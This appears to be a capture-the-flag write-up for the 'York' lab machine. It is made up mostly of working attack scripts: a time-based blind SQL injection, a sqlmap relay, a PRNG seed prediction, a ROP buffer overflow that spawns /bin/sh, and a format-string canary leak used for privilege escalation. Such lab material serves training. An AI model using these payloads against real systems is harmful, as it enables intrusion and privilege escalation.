TheHackerLabs-York 靶机WP

Nmap scan report for 192.168.56.89
Host is up (0.0041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7 (protocol 2.0)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=2620767971a2c5eb; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=HnIsMGxwxISHc0ZHgheI7u_a_pM6MTc3MDY3MjAyODc3Mzg4Mjk1OA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 09 Feb 2026 21:20:28 GMT
| <!DOCTYPE html>
| <html lang="en-US" data-theme="gitea-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>York Gitea</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiWW9yayBHaXRlYSIsInNob3J0X25hbWUiOiJZb3JrIEdpdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovLzE5Mi4xNjguNTYuMTAzOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly8xOTIuMTY4LjU2LjEwMzozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vMTkyLjE2OC41Ni4x"
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=0783f774877d26d8; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=CywKN7PUkdEtOHrXtZlVD1lOivg6MTc3MDY3MjAzMzg1NjU3NTc2NA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 09 Feb 2026 21:20:33 GMT
|_ Content-Length: 0
6969/tcp open acmsoda?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
| User: Password:
| NULL:
|_ User:
9696/tcp open unknown
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

import socket
import time
import string
from pwn import log
HOST, PORT = '192.168.56.89', 6969
charset = ',' + string.ascii_lowercase + string.digits + '_'
extracted = ""
b1 = log.progress("payload")
b2 = log.progress("extracted")
for pos in range(1, 100):
    for c in charset:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((HOST, PORT))
        s.recv(1024)
        payload = f"admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),{pos},1)='{c}',SLEEP(1),0)#"
        b1.status(payload)
        start = time.time()
        s.sendall((payload + "\n").encode())
        s.recv(1024)
        s.sendall(b"x\n")
        s.recv(1024)
        elapsed = time.time() - start
        s.close()
        if elapsed > 0.9:
            extracted += c
            b2.status(extracted)
            break

from flask import Flask, request
import socket
app = Flask(__name__)
# 配置目标信息
TARGET_HOST = "192.168.56.89"
TARGET_PORT = 6969
def tcp_relay(user, password):
    try:
        # 1. 建立 TCP 连接
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((TARGET_HOST, TARGET_PORT))
       
        # 2. 读取欢迎信息 (User:)
        s.recv(1024)
        s.sendall((user + "\n").encode())
       
        # 3. 读取密码提示 (Password:)
        s.recv(1024)
        s.sendall((password + "\n").encode())
       
        # 4. 获取最终响应内容
        response = s.recv(4096).decode(errors='ignore').strip()
        s.close()
        return response
    except Exception as e:
        return f"Error: {str(e)}"
@app.route("/", methods=["GET", "POST"])
def index():
    # 统一获取参数，支持 GET 和 POST
    user = request.values.get("user", "admin")
    password = request.values.get("pass", "admin")
   
    # 将请求转发至 TCP 服务端
    result = tcp_relay(user, password)
   
    # 打印日志方便调试
    print(f"[+] Testing User: {user} | Response: {result}")
   
    # 返回给 SQLMap
    return result
if __name__ == "__main__":
    app.run(host="127.0.0.1", port=8888, debug=False)

import ctypes
import re
from pwn import *
from datetime import datetime, timezone, timedelta
host, port = '192.168.56.89', 9696
libc = ctypes.CDLL("libc.so.6")
p = remote(host, port)
raw_date = p.recvline().decode().strip()
# 手动解析西班牙语/特定格式日期
months = {"ene":1,"feb":2,"mar":3,"abr":4,"may":5,"jun":6,"jul":7,"ago":8,"sep":9,"oct":10,"nov":11,"dic":12}
parts = re.search(r'(\d+) (\w+) (\d+) (\d+):(\d+):(\d+) ([+-]\d+)', raw_date)
day, mon_str, year, h, m, s, tz = parts.groups()
dt = datetime(int(year), months[mon_str.lower()], int(day), int(h), int(m), int(s))
seed = int(dt.replace(tzinfo=timezone(timedelta(hours=int(tz)))).timestamp())
libc.srand(seed)
p.sendline(b"matsi")
p.sendline(b"Ultr4S3cr3tsecur3P4ssw0rd123_")
lon = 64
fin = [1 + libc.rand() % 9]
for _ in range(1, lon):
    fin.append(libc.rand() % 10)
p.sendline(''.join(map(str, fin)).encode())
p.interactive()

import ctypes
import time
from pwn import *
libc = ctypes.CDLL("libc.so.6")
libc.srand.argtypes = (ctypes.c_uint,)
libc.rand.restype = ctypes.c_int
p = process("./bin")
p.sendline(b"matsi")
p.sendline(b"Ultr4S3cr3tsecur3P4ssw0rd123_")
lon = 64
libc.srand(int(time.time()))
fin = []
fin.append(1 + libc.rand() % 9)
i = 1
while i < lon:
  num = 0 + libc.rand() % 10
  fin.insert(i, num)
  i += 1
code = ''.join(map(str, fin)).encode()
p.sendline(code)
p.sendline(b'1')
p.sendline(b"NOP")
### BOF DATA ###
pattern = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9'
payload = pattern
pause()
### Buffer Overflow Input ###
p.sendline(payload)
p.interactive()

import ctypes
import time
from pwn import *
libc = ctypes.CDLL("libc.so.6")
libc.srand.argtypes = (ctypes.c_uint,)
libc.rand.restype = ctypes.c_int
p = process("./bin")
p.sendline(b"matsi")
p.sendline(b"Ultr4S3cr3tsecur3P4ssw0rd123_")
lon = 64
libc.srand(int(time.time()))
fin = []
fin.append(1 + libc.rand() % 9)
i = 1
while i < lon:
  num = 0 + libc.rand() % 10
  fin.insert(i, num)
  i += 1
code = ''.join(map(str, fin)).encode()
p.sendline(code)
p.sendline(b'1')
p.sendline(b"NOP")
### BOF DATA ###
offset = 56 - 8 # 减去 8 是为了给 '/bin/sh\x00' 字符串预留空间（使其位于栈顶并被移入 rdi）
bin_sh = b'/bin/sh\x00'
junk = b"A"*offset
pop_r13 = p64(0x4011c6)
function = p64(0x4011cc)
system_addr = p64(0x401050)
payload = junk + bin_sh + pop_r13 + system_addr + function
### Buffer Overflow Input ###
p.sendline(payload)
p.interactive()

import ctypes
import time
from pwn import *
host, port = '192.168.56.89', 9696
libc = ctypes.CDLL("libc.so.6")
libc.srand.argtypes = (ctypes.c_uint,)
libc.rand.restype = ctypes.c_int
r = remote(host, port)
r.sendline(b"matsi")
r.sendline(b"Ultr4S3cr3tsecur3P4ssw0rd123_")
lon = 64
libc.srand(int(time.time() - 2)) # 时间偏移修正（延迟 2 秒）
fin = []
fin.append(1 + libc.rand() % 9)
i = 1
while i < lon:
  num = 0 + libc.rand() % 10
  fin.insert(i, num)
  i += 1
code = ''.join(map(str, fin)).encode()
r.sendline(code)
r.sendline(b'1')
r.sendline(b"NOP")
### BOF DATA ###
offset = 56 - 8 # 减去 8 是为了给 '/bin/sh\x00' 字符串预留空间（使其位于栈顶并被移入 rdi）
bin_sh = b'/bin/sh\x00'
junk = b"A"*offset
pop_r13 = p64(0x4011c6)
function = p64(0x4011cc)
system_addr = p64(0x401050)
payload = junk + bin_sh + pop_r13 + system_addr + function
### Buffer Overflow Input ###
r.sendline(payload)
r.interactive()

undefined8 copy_file(void)
{
  FILE *__stream;
  undefined8 uVar1;
  FILE *__s;
  size_t sVar2;
  size_t __n;
  long in_FS_OFFSET;
  undefined1 local_1018 [4104];
  long local_10;
 
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("/tmp/sdfile","rb");
  if (__stream == (FILE *)0x0) {
    uVar1 = 0xffffffff;
  }
  else {
    __s = fopen("/tmp/lsdfile","wb");
    if (__s == (FILE *)0x0) {
      fclose(__stream);
      uVar1 = 0xfffffffe;
    }
    else {
      do {
        __n = fread(local_1018,1,0x1000,__stream);
        if (__n == 0) {
          fclose(__stream);
          fclose(__s);
          chmod("/tmp/lsdfile",0x180);
          uVar1 = 0;
          goto LAB_004012fd;
        }
        sVar2 = fwrite(local_1018,1,__n,__s);
      } while (__n == sVar2);
      fclose(__stream);
      fclose(__s);
      uVar1 = 0xfffffffd;
    }
  }
LAB_004012fd:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar1;
}

from pwn import *
def main():
    elf = ELF("/opt/copy")
    function_addr = elf.symbols['copy_file']
    p = process(["sudo", "-u", "nati", "/opt/copy"])
    p.sendline(b"%17$p")
    data = p.recvline()
    c = re.search(', (.*?)\\n', data.decode()).group(1)
    cc = int(c, 16)
    canary = p64(cc)
    offset = 72
    payload = b"A"*offset + canary + b"A"*8 + p64(function_addr)
    p.sendline(payload)
if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        exit